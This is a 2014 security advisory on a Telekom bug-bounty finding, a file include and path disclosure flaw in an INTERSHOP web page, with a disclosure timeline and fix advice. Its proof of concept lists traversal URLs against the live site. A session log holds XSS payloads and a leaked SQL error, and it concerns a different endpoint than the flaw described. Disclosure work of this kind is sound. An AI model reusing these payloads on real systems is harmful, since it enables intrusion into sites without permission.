Document Title: =============== Telekom Bug Bounty #12 - File Include Web Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1178 Release Date: ============= 2014-02-27 Vulnerability Laboratory ID (VL-ID): ==================================== 1178 Common Vulnerability Scoring System: ==================================== 7.1 Product & Service Introduction: =============================== Deutsche Telekom AG (English: German Telecom) is a German telecommunications company headquartered in Bonn, North Rhine-Westphalia, Germany. Deutsche Telekom was formed in 1996 as the former state-owned monopoly Deutsche Bundespost was privatized. As of June 2008, the German government still holds a 15% stake in company stock directly, and another 17% through the government bank KfW. (Copy of the Homepage: http://en.wikipedia.org/wiki/Deutsche_Telekom & http://www.telekom.com/bug-bounty ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a file include web vulnerability in an official German Telekom website web-application. Vulnerability Disclosure Timeline: ================================== 2014-01-01: Researcher Notification & Coordination (Ibrahim Mosaad El-Sayed) 2014-01-03: Vendor Notification (Telekom CERT Security Team) 2014-01-16: Vendor Response/Feedback (Telekom CERT Security Team) 2014-02-20: Vendor Fix/Patch (Telekom Developer Team) 2014-02-27: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Deutsche Telekom (German Telecom) Product: InterShop - Web Application (Framework) 2014 Q1 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local file/path include and arbitrary file upload vulnerability has been discovered in the official Telekom GT INTERSHOP website web-application. The arbitrary file upload issue and file include web vulnerability allows attackers to unauthorized include/request/access or upload own files/ context. The local file include and arbitrary file upload web vulnerability is located in the vulnerable parameter `filelist` of the file `ViewStaticContent-Start`. Remote attackers, if they know the main correct path, can view the source code of any file on the system. The issue has the character of a file include but also an arbitrary file upload issue. The security risk of the arbitrary file upload and local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1(+). Exploitation of the local file include and arbitrary file upload web vulnerability requires no user interaction or privileged web user account. Successful exploitation of the local web vulnerability results in web-application compromise by unauthorized local file include web attacks. Vulnerable Parameter(s): [+] filelist Affected Module(s): [+] ViewStaticContent-Start Proof of Concept (PoC): ======================= The local file include and arbitrary file include web vulnerability can be exploited by remote attackers without user interaction or privileged user account. For security demonstration or to reproduce the web vulnerability follow the provided information and steps below. 1) By visiting: https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-PK-Site/de_DE/-/EUR/ViewStaticContent-Start ?filelist=css/default/process/process_apds.css&filetype=js 2) we will notice the source code of the css file 3) if we changes the file type from js to css 4) the link will become: https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-PK-Site/de_DE/-/EUR/ViewStaticContent-Start ?filelist=css/default/process/process_apds.css&filetype=css 5) We will notice that the paths of the different files in the css file have been changed from relative paths to absolute paths in the frst link the path of the images was similar to this: background: url(../../../images/symbols/BG_APDS_tarif_grau.gif) no-repeat; After changing the “filetype” parameter from js to css, the path has became: background: url(/is-bin/intershop.static/WFS/EKI-PK-Site/EKI-PK/de_DE/images/symbols/BG_APDS_tarif_grau.gif) no-repeat; we see that the paths changed from relative paths to absolute ones which considered as path disclosure vulnerability To include a file for example the following image: ../../../images/symbols/BG_APDS_tarif_grau.gif we can change the vulnerable link to be: https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-PK-Site/de_DE/-/EUR/ViewStaticContent-Start?filelist=images/symbols/BG_APDS_tarif_grau.gif&filetype=css Another way to include the same image is: https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-PK-Site/de_DE/-/EUR/ViewStaticContent-Start ?filelist=../de_DE/images/symbols/BG_APDS_tarif_grau.gif&filetype=css In this link we go back one folder and then we go inside the folder again. The folder name is "de_DE" which we got from the path disclosure vulnerability --- PoC Session Logs --- //The Send request POST /englishtest2004/test.asp HTTP/1.1 Host: gt.telekom.de User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Referer: https://gt.telekom.de/englishtest2004/html/intro_11.htm Cookie: _ga=GA1.2.1524944686.1388633141; ASPSESSIONIDQAQRBTRB=PJJNFNFCCPEDGGLMFOGEGNGK Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 482 response=%2Fenglishtest2004%2Fhtml%2Fstarttest.htm&to=hans-juergen.grunwald%40telekom.de&from= &subject=Fokus_Sprachen_%26_Seminare-Login&smtphost=localhost&mailbody='&NAME=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&VORNAME= %22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&PLZ=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&EMAIL=%22%3E%3Cimg+src%3Dx+ onerror%3Dalert%281%29%3E&TELEFON=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&ORT=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E //Response HTTP/1.1 500 Internal Server Error Date: Thu, 02 Jan 2014 03:49:47 GMT Server: Microsoft-IIS/6.0 X-UA-Compatible: IE=EmulateIE7 X-Powered-By: ASP.NET Content-Length: 572 Content-Type: text/html Cache-control: private insert into Sprachtest(Name, Vorname,PersNr,Telefon,Fax, Ergebnis)VALUES ('">','">','','">

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

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/englishtest2004/test.asp, line 23 Picture(s): ../1.png ../2.png ../3.png Resource(s): ../poc-session-results.txt Solution - Fix & Patch: ======================= The local file include web vulnerability can be patched by a secure filter restriction and encode to parse the vulnerable filelist parameter. Ensure the back request of the filetype to the css is secure and make a proof to validate. 2014-02-20: Vendor Fix/Patch (Telekom Developer Team) Security Risk: ============== The security risk of the local file include web vulnerability is estimated as high(+). Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Ibrahim Mosaad El-Sayed (ibrahim@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2014 | Vulnerability Laboratory [Evolution Security] -- VULNERABILITY LABORATORY ADMINISTRATION DOMAIN: www.vulnerability-lab.com CONTACT: admin@vulnerability-lab.com PHONE: +4915776363337 (DE)